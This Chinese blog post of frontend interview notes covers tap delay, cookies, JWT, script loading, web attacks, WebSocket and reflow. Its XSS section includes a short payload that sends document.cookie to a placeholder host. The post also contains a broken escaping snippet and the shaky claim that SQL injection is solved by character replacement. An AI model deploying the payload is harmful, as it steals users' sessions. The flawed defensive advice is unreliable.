浅窥前端知识技能广度

软软糯糯的汤圆
120 阅读5分钟

浅窥前端知识技能广度

移动端点击时间为什么会延迟300ms？怎么解决？

因为以前移动端经常需要做双击放大操作，单击后会等待300ms看有无双击操作，会造成300ms的延迟

解决办法：FastClick库。原理：

  • 监听 touchend 事件( touchstart touchend 会先于 click 触发）
  • 使用自定义 DOM 事件模拟一个 click 事件
  • 把默认的 click 事件（300ms 之后触发）禁止掉

现在浏览器做了改进，若content 设为device-width 就不会有300ms延迟

image-20220816102137489

网络请求中，token和cookie有什么区别？

cookie
  • HTTP无状态，每次都携带cookie，以帮助识别身份
  • 服务端也可以set-cookie，cookie大小限制4k
  • 默认有跨域限制，不可跨域共享，传递cookie
  • 现在浏览器开始禁止第三方cookie 因为广告中的JS的cookie可能会跟其他页面共享
cookie和session
  • cookie用于登录验证，存储用户标识
  • session在服务端，存储用户详细信息，和cookie信息一一对应
  • cookie + session是一种常见的登录验证解决方案

image-20220816103304681

token 和 cookie 的区别

  • cookie是HTTP规范 而token是自定义传递

  • cookie会默认被浏览器存储，而token需要自己存储

  • token默认没有跨域限制

cookie是HTTP标准，跨域限制，配合session使用

token无标准，无跨域限制，用于JWT

Session 和 JWT哪个更好
  • Session的优点
    • 原理简单，易于学习
    • 用户信息存储在服务端，可以快速封禁某个用户
  • Session的缺点
    • 占用服务端内存，硬件成本高
    • 多进程，多服务器，不好同步，需要Redis第三方缓存
    • 默认有跨域限制
  • JWT的优点
    • 不占用服务器内存
    • 多进程，多服务器不受影响
    • 没有跨域限制
  • JWT的缺点
    • 用户信息存储在客户端，无法快速封禁用户
    • 万一服务端密钥被泄漏，用户信息全部泄露
    • token体积大于cookie，增加请求数据量

如果有严格管理用户信息的需求（保密，快速封禁）推荐session

如果没有特殊要求，小型公司使用JWT（减少服务端成本）

script defer和async有什么区别？

  • 一般情况下，加载HTML文档，遇到script标签html停止加载，等script标签加载并执行后在继续加载HTML文档
  • script标签被defer修饰后，script加载和html加载会异步进行，但执行script是在文档加载完之后。
  • cript标签被async修饰后，script加载和html加载会异步进行，但和defer不同的是，script加载完后会立刻执行，html等待script执行完后再继续。

image-20220817112020846

你知道哪些前端攻击？如何预防？

XSS攻击
  • Cross Site Script 跨站脚本攻击
  • 手段：黑客将JS代码插入到网页中，渲染时执行JS代码
  • 预防：特殊字符替换
var img = document.createElement('image')
img.src = "https://xxx.com/api/xxx?cookie=" + document.cookie

借此收集用户cookie信息

预防方法

const newStr = str.replaceAll('<','&lt;').replaceAll('>';'&gt;')
  • 在vue中默认屏蔽html攻击，但使用v-html 可能会产生影响
CSRF攻击
  • Cross Site Request Forgery 跨站请求伪造
  • 手段：黑客诱导用户去访问另一个网站的接口，伪造请求

预防方法

  • 严格的跨域请求限制，如判断 referrer（请求来源）
  • 为 cookie 设置 SameSite，禁止跨域传递 cookie 关键接口
  • 使用短信验证码
点击劫持
  • Click Jacking
  • 手段：诱导界面上蒙一个透明的计rame，诱导用户点击
  • 预防：让计rame 不能跨域加载
DDos攻击 （准确说不是前端安全）
  • 分布式拒绝服务
  • 分布式的，大规模的流量访问，使服务器瘫痪
SQL注入
  • 黑客提交的内容注入SQL语句
  • 解决办法：和XSS一样，替换字符

WebScoket和HTTP的区别

webSocket
  • 支持端对端的通讯
  • 可以由client发起，也可以由server发起
  • 用于：消息通知，直播间讨论，聊天室，协同编辑
webSocket链接过程
  • 先发起一个HTTP请求
  • 成功之后再升级到websocket协议，再通讯
webSocket和HTTP的区别
  • WebSocket的协议名是ws://,可以双端发起清请求
  • WebSocket没有跨域限制
  • 通过send和onmessage通讯，HTTP通过req和res

ws可以升级为wws

实际项目可以使用socket.io，更简洁

HTTP和webSocket的长轮询的区别
  • HTTP 长轮询：客户端发起请求，服务端阻塞，不会立即返回
  • WebSocket：客户端可发起请求，服务端也可发起请求

重绘和重拍有什么区别

重绘repaint
  • 元素外观改变，如颜色，背景色
  • 但元素的尺寸，定位不变，不会影响其他元素的位置
重排
  • 重新计算尺寸和布局，可能会影响其他元素的位置
  • 如元素增高，可能会使相邻元素下移
减少重排的方法
  • 集中修改样式，或直接切换css class
  • 修改之前设置 display:none 脱离文档流
  • 使用BFC特性，不影响其他元素
  • 频繁触发使用节流和防抖
  • 使用createDocumentFragment批量操作DOM
  • 优化动画，使用CSS3和requestAnimationFrame

如何实现网页多标签通讯？

  • WebSocket需要服务端，成本高
  • localStorage简单易用，推荐
  • SharedWorker调试不方便，不兼容IE11
avatar
文章
阅读
粉丝